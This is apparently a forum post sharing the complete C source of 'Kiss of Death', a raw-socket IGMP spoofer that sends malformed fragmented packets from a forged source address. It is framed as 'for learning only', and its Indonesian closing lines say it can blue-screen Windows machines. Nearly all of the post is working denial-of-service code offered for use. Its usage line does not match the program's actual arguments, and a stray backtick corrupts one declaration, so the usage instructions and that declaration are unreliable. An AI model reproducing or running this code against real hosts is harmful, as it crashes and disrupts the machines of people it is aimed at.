Programming Section

KISS OF DEATH SOURCE CODE

-For Learning Only !!! 

 
Code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

struct iphdr
{
unsigned char ihl:4, version:4, tos;
unsigned short tot_len, id, frag_off;
unsigned char ttl, protocol;`
unsigned short check;
unsigned int saddr, daddr;
};

struct igmphdr
{
unsigned char type, code;
unsigned short cksum;
struct in_addr group;
};

unsigned short in_chksum(unsigned short *, int);
long resolve(char *);

long resolve(char *host)
{
struct hostent *hst;
long addr;

hst = gethostbyname(host);
if (hst == NULL)
return(-1);

memcpy(&addr, hst->h_addr, hst->h_length);

return(addr);
}

int main(int argc, char *argv[])
{
struct sockaddr_in dst;
struct iphdr *ip;
struct igmphdr *igmp;
long daddr, saddr;
int s, i=0, c, len;
char buf[1500];

if (argc < 3)
{
printf("KOD spoofer by Ignitor and klepto\n");
printf("Usage: %s <src> <dst>\n", *argv);
return(1);
}

daddr = resolve(argv[2]);
saddr = resolve(argv[1]);

memset(buf, 0, 1500);
ip = (struct iphdr *)&buf;
igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];

dst.sin_addr.s_addr = daddr;
dst.sin_family = AF_INET;

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(10933);
ip->id = htons(48648);
ip->ttl = 64;
ip->protocol = IPPROTO_IGMP;
ip->check = in_chksum((unsigned short *)ip, sizeof(struct
iphdr));
ip->saddr = saddr;
ip->daddr = daddr;

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);

printf("Sending IGMP packets: %s -> %s\n", argv[1], argv
[2]);

for (c=0;c<2;c++)
{
len = 220;
ip->frag_off = htons(0x73a);

for (i=0;;i++)
{
if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}
if (ntohs(ip->frag_off) == 0x2000)
break;
len = 1500;
if (!i)
ip->frag_off = htons(0x2681);
else
ip->frag_off = htons(ntohs(ip->frag_off) - 185);

ip->check = in_chksum((unsigned short *)ip, sizeof
(struct iphdr));
}
}

return(1);
}

unsigned short in_chksum(unsigned short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}



cara penggunaan
Code:
kod [ip target] -p[port] -t[hits]

semoga bermanfaat..
program ini bisa buat Blue screen pada windows jadi..
be Carefull..